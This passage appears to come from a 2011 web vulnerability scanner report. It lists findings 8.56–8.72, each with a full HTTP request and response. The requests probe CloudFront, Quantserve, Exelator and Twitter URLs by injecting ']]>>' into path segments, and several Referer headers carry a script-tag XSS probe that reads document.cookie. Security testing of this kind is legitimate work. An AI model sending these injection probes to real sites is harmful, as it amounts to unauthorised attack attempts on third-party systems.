8.56. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/frontpage.js

Issue detail

Request

GET /version]]>>/7.01/js/min/frontpage.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: B176884CD7BD4953
x-amz-id-2: omJm313UUB2X24vGsHyzsSupcpkdwwIGGlJqTOSvmP08yh6VhZj5Az16pekG9AQt
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:49 GMT
Server: AmazonS3
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 78c0577428c76d5485958d78257e76aae42eec8bb411812d8826ea3b9759d047df68460a4808a9dd
Via: 1.0 f3f50cbd3d1def6bce4a308bcfd00161.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>B176884CD7BD4953</RequestId><HostId>omJm313UUB2X24vGsHyzsSupcpkdwwIGGlJqTOSvmP08yh6VhZ
...[SNIP]...

8.57. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/frontpage.js

Issue detail

Request

GET /version/7.01]]>>/js/min/frontpage.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: E1C866601FF04530
x-amz-id-2: 2DwrGuP6UY1Wc8H4CoC/T5QiiqHs0COH4Cj7B5mJlDut2O9RIBptdbLFqSMefkyM
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:51 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 37c8476c6c235283ec5d1230635e38362949ad93e38af23d7392eb3f4d51a41f2a7a5e041bb59d9e
Via: 1.0 80e249fb010044bf276e2c86b81c99a1.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>E1C866601FF04530</RequestId><HostId>2DwrGuP6UY1Wc8H4CoC/T5QiiqHs0COH4Cj7B5mJlDut2O9RIB
...[SNIP]...

8.58. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/frontpage.js

Issue detail

Request

GET /version/7.01/js]]>>/min/frontpage.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 8099777188B69406
x-amz-id-2: CSXwoi/xMccnFOribqE440fxuy+pvL8r7AksiPknzVYzsXJ6eutvcrN3XrRBkZgx
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:54 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 2f5d4971cc4c26de9f8d28bb490544a199ca4f240eb220c1a24d9e7e0132b7f52bb8f8fcdfe240da
Via: 1.0 b6a19ce57eb7f67ba86fc485bfe1effb.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>8099777188B69406</RequestId><HostId>CSXwoi/xMccnFOribqE440fxuy+pvL8r7AksiPknzVYzsXJ6eu
...[SNIP]...

8.59. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/frontpage.js

Issue detail

Request

GET /version/7.01/js/min]]>>/frontpage.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 15E63E4EB19B90E9
x-amz-id-2: mrE+6qh+rGeOFLXg/0s56rwYOEO0+vyNOiA/FHKTqycjjwg7wse5n7kMwLFTZfqg
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:56 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 4ad0f2b687d9a314d06099491b41651c26348ff5e5649b0ff9424015fdc0752a64a60d974e3acfd7
Via: 1.0 485bace332f1c34c362272dba2f27eb8.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>15E63E4EB19B90E9</RequestId><HostId>mrE+6qh+rGeOFLXg/0s56rwYOEO0+vyNOiA/FHKTqycjjwg7ws
...[SNIP]...

8.60. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 5] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/frontpage.js

Issue detail

Request

GET /version/7.01/js/min/frontpage.js]]>>?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 4489B1FBB5D2BDF3
x-amz-id-2: qgG9hdusXx7zDjcaos/e7hhRAOqwsgHJ3icbuCYaVvjpzjeszN1QcwXohFW60uYr
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:58 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: b2ee3d84e77e2041eef4063b0e799b03414864ae54e5976bd3623c1ca2c730f9c8a1f8d993131749
Via: 1.0 80e249fb010044bf276e2c86b81c99a1.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>4489B1FBB5D2BDF3</RequestId><HostId>qgG9hdusXx7zDjcaos/e7hhRAOqwsgHJ3icbuCYaVvjpzjeszN
...[SNIP]...

8.61. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/main.js

Issue detail

Request

GET /version]]>>/7.01/js/min/main.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: A75ACA7992BACA15
x-amz-id-2: BlqUAursYGWWOsau1M763LorXCgNzxdm1xzNh70kN7mPjX4gYreSgRuBiPcWJU8j
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:53 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 75bf8e3d02613c5d390fddebc90f9672189e2b2e723ad21bd8d309f2caebee7db1d9b55536370d1b
Via: 1.0 485bace332f1c34c362272dba2f27eb8.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>A75ACA7992BACA15</RequestId><HostId>BlqUAursYGWWOsau1M763LorXCgNzxdm1xzNh70kN7mPjX4gYr
...[SNIP]...

8.62. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/main.js

Issue detail

Request

GET /version/7.01]]>>/js/min/main.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: D6A0BB8241953860
x-amz-id-2: 3RLDuhYr1wWbUrCm8TMrRTIiMqSULGl7DBgCIO4ORPe2a+/ARVvUJ0UxdvYKGEXV
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:55 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: e2692f116b6d27b47cbf52c5e603949292536edfb33bd8b9f82d2e5428330c0eae7c7104e52e8357
Via: 1.0 7968d93e1fd68721fd2c757c85758124.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>D6A0BB8241953860</RequestId><HostId>3RLDuhYr1wWbUrCm8TMrRTIiMqSULGl7DBgCIO4ORPe2a+/ARV
...[SNIP]...

8.63. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/main.js

Issue detail

Request

GET /version/7.01/js]]>>/min/main.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: AAA781EEE75861B8
x-amz-id-2: YQ3OI3NEofUbaPTicQUfiYCGgk5mwgU4Zmjg+XJ6RlGjPk+hpwm9y9JqvAGnMWOI
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:59 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 48b7cbe8f30784b75669a6e9f26d8efb1209278f1b11664cf78cf21c5a38ea2e45f8f45d69a74989
Via: 1.0 7968d93e1fd68721fd2c757c85758124.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>AAA781EEE75861B8</RequestId><HostId>YQ3OI3NEofUbaPTicQUfiYCGgk5mwgU4Zmjg+XJ6RlGjPk+hpw
...[SNIP]...

8.64. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/main.js

Issue detail

Request

GET /version/7.01/js/min]]>>/main.js?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 891BE6D53671DA90
x-amz-id-2: Torex0pB9/o/ulPmOqRObmEkiSzrCpFAdtUG455twGTWf+L7azTc4T8OUj7y9MYN
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:27:01 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 43cd2e6f9a62284b600ecab5f08a0bb7275bb24c5e853c861db1a9859b47c62f3a6e2eb6ff9cea9e
Via: 1.0 b6a19ce57eb7f67ba86fc485bfe1effb.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>891BE6D53671DA90</RequestId><HostId>Torex0pB9/o/ulPmOqRObmEkiSzrCpFAdtUG455twGTWf+L7az
...[SNIP]...

8.65. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 5] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/js/min/main.js

Issue detail

Request

GET /version/7.01/js/min/main.js]]>>?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 581CB768FB5C45F9
x-amz-id-2: J8vtOItOm0MTxXqvvqfIggwn6KBudjwpuaMZ19WeiJZ44zC4KNFWh7GSod49dqor
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:27:03 GMT
Server: AmazonS3
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 03f0bf3d36e2e202b20f1d56e66435b06a25ee7baf80b3e4e659cbad4c3914d9eeb0e311fc19454b
Via: 1.0 45b715302bfca21de6f1c839f7f026a7.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>581CB768FB5C45F9</RequestId><HostId>J8vtOItOm0MTxXqvvqfIggwn6KBudjwpuaMZ19WeiJZ44zC4KN
...[SNIP]...

8.66. http://edge.quantserve.com/quant.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://edge.quantserve.com
Path:	/quant.js

Issue detail

Request

GET /quant.js]]>> HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: edge.quantserve.com
Cookie: mc=4d442f09-bf223-f2e39-06406

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/html
Cache-Control: private, no-cache, no-store, proxy-revalidate
Pragma: no-cache
Expires: Fri, 04 Aug 1978 12:00:00 GMT
Content-Length: 345
Date: Sat, 05 Feb 2011 22:48:52 GMT
Server: QS

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.67. http://load.exelator.com/load/ [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://load.exelator.com
Path:	/load/

Issue detail

Request

GET /load]]>>/ HTTP/1.1
Host: load.exelator.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: EVX=eJyNyjsOgCAQRdG9sIL5ZuCxmAkltaVh76KWNuZWNzkDinNCqmu0PsD3UT%252FAFYWtekaKeRJx7kpfE0oS4T9xkyDnL24P1hdb6sbrAgq5JDk%253D; xltl=eJxLtDKyqi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNwOqslHyCnJWsM60MTSzNDQ0Mja1rASTuFDw%253D; TFF=eJydlktywyAMhu%252BSE%252BgBFpCNj9FtFll0prt2l8ndSxIbXASO3IUHhvk%252F9LAk%252B5I8pNt3QkonBDfDBHOMkU7nS6J0%252B0x4zo%252BLPi%252Fw3E7xfFd6fOi50VN%252BWk4KZiPyCq5RyqKM%252Bu7rx%252FXr8nNt714Jpl4YAjMA9sKW6kzean0btqxBYMNJwWxEXgWMdz98IudHMYQaQ3jpXdVT8Cyx8SloS5rEGFnoPyQDiXgrKQW0EfnMeatXaxGHbtGHUPWho1ceBW0nbIs%252BtEU%252FJJ7vFGB2Ydq3RNrUwhmRfAgwaBecBglAOJawRX80YRk7kjAUznVCXc%252FqrAixo1eeRW2nzK8XZiMejczGu59NwjvtVWakK2SsI4DLCHBmbmMxkoAfznFuSa4kAUHbz2Pwr0nGtlCtzjIObbakFNBG5DP2B7wqH8LdePAdOYxHkVzJ3eQrcBkrHrtVXxq%252Fm%252FqV6wZpJpWvQ5Ir2Q1yBErhzKbWMTX4%252BZGql45%252BmEZqObfhdtP4lhxmQ5Fcyd00tqAUzkbcfwGzsZTz; BFF=eJztlM1OwzAQhN8lT%252BCfOI7dS1OqikhNgNat4IR65MwR%252Bu6s3SRdu2uJoB65fjMeO%252FF6TrYU9uvTcmYLx1nZLY0xolh8WF7WegGCtEX31LvH7dv7sd23rlicrKpzayoDa9TAEYq8EgnGc81QhFaAywtGxCc0K7cUtZLaDCf0ggwcgdEpmdBaJULbH8kI4ISTjNh1r2QEcMLJ4Xu1IAQy%252B2HbkdnACScZ0ayJbBk4dorxQqLtdCRFMRpdo8NjUl%252Bv3CE0xiRXFkvRDjXa4ZDZ4ZDzSiyAeS9YCZ%252F8zbhXq0EdZ%252FGqYkFMQrpGTwqCMLvrZhtGurxgM8yux4h440vvKCPgxNj2G8oIGJFxxo3QTPE4IbwSJpiKcRitBI9zTsWEl0L4%252FexS%252FvAs8n7Jq5yQHNT%252Ffiqoee5vN5aBJwFgJAPW9Mmb1e7GH1plhwP49GDS6EHZRIq%252BzuxmQme6CbXKN2G29%252BbX3PxWo0osur%252Ffl9j8zrpzRd25j%252F5aPvmOydRJpjwyVfFfDPftgfnP%252FvwDMTU0HA%253D%253D; myPAL=eJylkstOw0AMRf%252Bls52F7Xl4Jl0FIqRKJIISULcsu2YJ%252FDv2TB4tqgqCVV7nnnhsvzbIzfuxge1bQ9xs0Mdscs5oELyBCGaUm17e0GZ7bFCxqBiHCWMwACgYw0zRIluoSzInmC%252ByFAyl4DhbB8QSIh%252BKtb0Z7W54sfv%252BYG%252Fve9t2B0365QeJr%252FwgrFg6wVLFxhmLgmE6xQjA%252BBSNfuWLEoQqeZ4lSbEqmRvITs5A5onAS90fgMpl4WLR5dIbbzMxBLQEBEEfHMZ6kTa42oaulbN3j8Nou91wZ7Ur0o0yEB1cjH%252FyqWpu7tRYxP%252Fp2odBVVLhvuh0Ezx%252B010zlFRZDLem8DxVazkfecnpWrj0U06HG5DKcDGsEf5lJK7VXYmUJZmqk1N9fgFco7yt;

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:51:36 GMT
Server: HTTP server

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.68. http://platform.twitter.com/widgets.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform.twitter.com
Path:	/widgets.js

Issue detail

Request

GET /widgets.js]]>> HTTP/1.1
Host: platform.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; __utmv=43838368.lang%3A%20en; k=173.193.214.243.1296843754823170

Response

HTTP/1.1 403 Forbidden
Content-Type: application/xml
Date: Sat, 05 Feb 2011 23:33:58 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>0F252009FD656A49</RequestId><HostId>1zRS8h940ZT6m2fDTzxD5r+GZShiaJUQDnqKKFtpIt9U2QAlyP
...[SNIP]...

8.69. http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets]]>>/tweet_button.html HTTP/1.1
Host: platform.twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:58:38 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>877AB79A0F554D87</RequestId><HostId>GYnUFANZred7SB0AvYofoRqAR23tayR9RAZZ8wZ+I+KQHmpEuU
...[SNIP]...

8.70. http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets/tweet_button.html]]>> HTTP/1.1
Host: platform.twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:58:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>DCB99A95885B4057</RequestId><HostId>3RJfSBP0mOJLJ1FUkL2/+x2VeZfTaelbhjRUCHt+4vWc3y55gi
...[SNIP]...

8.71. http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform0.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets]]>>/tweet_button.html?_=1296947270249&count=horizontal&lang=de&text=Kledy.de%20-%20Bookmark%20%7C%20News%20%7C%20Videos%20%7C%20Bilder&url=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C%2Fscript%25253Eef67307aec5%3D1&via=kledys HTTP/1.1
Host: platform0.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; __utmv=43838368.lang%3A%20en; k=173.193.214.243.1296843754823170

Response

HTTP/1.1 403 Forbidden
Content-Type: application/xml
Date: Sat, 05 Feb 2011 23:07:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 231

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>806626C4B2AFC921</RequestId><HostId>o4Rk/oCUmAR6pEHZLWDwpmBffc/Sa6+gqSTjQYqjUL9u74l1FF
...[SNIP]...

8.72. http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform0.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets/tweet_button.html]]>>?_=1296947270249&count=horizontal&lang=de&text=Kledy.de%20-%20Bookmark%20%7C%20News%20%7C%20Videos%20%7C%20Bilder&url=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C%2Fscript%25253Eef67307aec5%3D1&via=kledys HTTP/1.1
Host: platform0.twitter.com
Proxy-Connection: keep-alive
